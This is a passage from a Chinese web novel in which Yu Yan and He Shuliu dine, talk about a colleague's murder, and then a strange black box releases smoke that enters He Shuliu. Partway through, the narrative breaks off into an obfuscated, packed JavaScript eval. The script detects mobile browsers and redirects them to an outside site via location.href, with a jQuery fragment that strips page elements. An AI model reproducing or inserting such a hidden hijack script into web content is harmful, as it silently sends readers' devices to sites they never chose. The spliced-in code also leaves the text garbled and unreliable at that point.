郁言一脸无语,生怕他真的在大庭广众下把自己抱起来,连忙加快脚步,一马当先地走在前面。 贺舒流笑了笑,又侧头朝那对姐弟离去的方向瞥了一眼,然后大步跟上郁言。 两人回到餐厅,菜已经上齐了。 贺舒流一如既往先服务郁言,拆蟹的动作利落又赏心悦目,看得周围几桌的客人暗暗羡慕。 郁言想起他在摄影棚众星捧月的场景,不由开口问道:“你今天第一天上班,感觉怎么样?” “还好?”贺舒流漫不经心地说,“虽然那些同事很烦,不过薪酬给的还行,暂时还能忍受。” 郁言:“……” 他那副谈笑风生的样子,还真不像在忍受。 郁言一只手托着下巴,另一只手轻轻拨动杯子上的柠檬片:“我看你倒是挺受欢迎的。” “是啊,那些人说我很好拍……”贺舒流话未说完,突然兴奋地看着她,“言言,你是在吃醋吗?” ……吃醋?她为什么要吃醋? 她又不喜欢他。 郁言被他问得莫名其妙:“我是觉得这是好事,你想哪儿去了?” 贺舒流眸光闪烁:“……好在哪里?” “受欢迎就意味着,你可以更好地融入他们。”郁言并没有注意到他略微异样的目光,继续说道,“这样难道不好吗?” 贺舒流直勾勾地盯着她,不说话了。 郁言不知道他在想什么,但他的目光实在太深晦了,让她看不透、下意识想要躲避。 所幸这个时候手机亮了一下,她立即低头看手机,发现工作群里又多了一条通知。 这次不是工作相关,而是让他们最近在网络上注意发言,不要随意传播和林让有关的言论。 郁言喝了口果汁,顺势转移话题:“你还记得我们部门的那个林让吗?” “林让?”贺舒流想了一下,“就是之前聚餐送你回来的那个丑八怪?” ……也没有很丑吧? 郁言沉默几秒:“对,就是他。” “记得。”贺舒流顿时露出厌恶的表情,“他又骚扰你了吗?” 郁言又沉默几秒:“那倒没有,他以后都不会再骚扰我了。” “为什么?”贺舒流随口问道。 郁言:“因为他死了。” 贺舒流闻言,似乎惊讶了一下,接着愉快地笑了出来。 “真的?”他边笑边问,“什么时候?” “昨晚。”郁言顿了顿,不确定地改口,“也可能是今天早上,暂时还不清楚具体时间。” 见她神情平淡,不像是开玩笑的样子,贺舒流脸上的笑渐渐消失。 “真的死了?”他眼睛睁圆,像瞳孔放大的猫,“我还以为你在开玩笑呢。” “当然是真的。”郁言把工作群里的通知展示给他看,“今天警察都来公司调查了。” “连警察都来了……”贺舒流撑着头,一副若有所思的表情,“所以不是自杀,也不是猝死?” “初步推断是他杀,至于是激情杀人还是蓄谋已久就不知道了……”郁言说着,细眉微拢,露出些许担忧,“我们这里不会真的有变态杀人狂吧?” 贺舒流伸出一只手,用干净的指节轻轻抚平她的眉头。 “放心,”他的声音轻而认真,“我会保护你的。” 郁言:“……你先保护好你自己吧。” 贺舒流不在意地笑笑,继续低头拆蟹腿。 看他这副没心没肺的样子,郁言其实有点庆幸。 还好他那天夜里及时从山上回来了,不然以现在的趋势,指不定哪天就被变态杀人狂盯上了。 变态杀人狂可不会因为他长得好看就放他一马。 郁言拿起筷子,夹了一块淋满料汁的鱼肉送进嘴里,眉头迅速打结。 “……难吃。” “有多难吃?”贺舒流眨了下眼,“我尝尝。” 郁言把咬了一口的鱼肉递到他面前,他张开嘴,就着她的筷子咬住这块鱼肉。 郁言看着他嚼嚼嚼:“怎么样?是不是很难吃?” 贺舒流喉结一滚咽下去,舔了下嘴角,一脸无辜地对她说:“没尝出来,你再喂我一块吧?” 郁言:“……” 别以为她看不出来他是在故意骗她喂吃的。 她本想拒绝,但一对上贺舒流那巴巴的眼神,还是默默夹起一块鱼肉。 算了,反正等分手后就不会再一起吃饭了,现在就多顺着他几次吧。 两人一个拆蟹,一个喂鱼,就这么慢吞吞地吃了一个多小时才结束。那盘鱼全都被贺舒流一个人吃掉了,鱼肉到底好不好吃郁言不知道,反正贺舒流吃得挺开心的。 回到家后,郁言筋疲力尽,放下包便去洗澡。 洗到一半,她才发现沐浴露没了。 她在浴室里找了个遍,也没找到备用的沐浴露,努力回忆了一番,才想起上次把刚买的沐浴露顺手放在客房了,一直没有拿过来。 现在刚洗到一半,光着身子出去拿也不太好,主要是贺舒流就在外面…… 郁言稍微纠结了一会儿,还是决定让贺舒流帮忙。 她走到浴室门后,敲了两下。 “怎么了?”门外很快响起贺舒流的声音。 “沐浴露用完了。”郁言说,“你可以帮我拿一瓶新的吗?就在客房的收纳箱里。” “好。” 门外响起远去的脚步声,郁言裹紧浴巾,在门边耐心等待。 很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115324|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脚步声折返,贺舒流回到浴室门外。 “找到了。”他在门外说道。 郁言闻声,开门把手伸出去,正要去接贺舒流手里的沐浴露,贺舒流忽然往回撤了撤,另一只手轻松地抵住门。 他的力气太大了,郁言根本推不动,只能任由他抵着门,像抵着一道形同虚设的屏障,毫无阻隔之用。 “需要我帮你吗?”他歪着头,柔软的黑发垂在脸侧,看起来非常纯良无害。 郁言有点紧张:“帮我什么?” 贺舒流的目光在她身上游移,自上而下,从潮湿滴水的发丝,到透出粉色的脚趾。 缓慢细致,似有若无的侵略性。 郁言甚至能从他的眼神里读出近乎实质的渴望。 她莫名生出一股战栗感,不等贺舒流回答,便一口拒绝:“不需要,你快出去。” 她说完就有点懊悔,因为她发现贺舒流的脸色瞬间变了。 是不是她的语气太强硬了? 毕竟在贺舒流看来,他们现在还是恋人,他想要和她更亲近一点,这并没有错。 郁言犹豫几秒,正要重新组织语言,贺舒流忽然弯腰把沐浴露放到地上,然后顺从地退了出去。 ……完了,不会被她气哭了吧? 一想到贺舒流这会儿可能正在外面默默流眼泪,郁言顿时没心思洗澡了。 她随便冲洗了下,穿上睡裙,头发也不吹便走出浴室,目光巡视一周,很快在客厅的地毯上发现了贺舒流。 他趴在茶几上,脑袋枕着胳膊,伏低的后背看上去无精打采,像一只恹恹的大型犬。 郁言悄悄走过去,从后面俯身偷看他。 还好,没哭,但也不太高兴就是了。 “贺舒流?” 她轻唤一声,贺舒流没应声,还是一脸郁郁地趴着,长睫低垂,在眼下投落一片弧形阴影。 看着他异常安静的侧脸,郁言心里一动,忽然想给他拍张照片。 她从放在旁边的包里掏手机,一番摸索,一个小巧的黑盒子突然从包里滑了出来,掉在绵软的地毯上。 郁言捡起小黑盒,惊讶道:“这是什么?” 贺舒流这才转头看过来。 “不是你的东西?”他蹙眉。 “不是,我没有这种盒子……” 郁言边说边疑惑地打开盒子,还未看清里面装了什么,一道黑色浓烟陡然从她眼前散逸而出。 贺舒流瞳孔骤缩,立马倾身去抓她。 下一刻,黑色浓烟缠上他的身体,他刚一挣动,浓烟便争先恐后地钻进他体内。 天花板上的灯急闪两下,突然全部熄灭。 屋里霎时黑了下来。 郁言一惊,连忙伸手摸索:“贺舒流?” 贺舒流没出声,她甚至感受不到他的存在。 但她摸到了一个怪异的东西—— 一个冰冷的、圆滑的、带有些微湿润感的东西。 正在贺舒流的手背上微微颤动。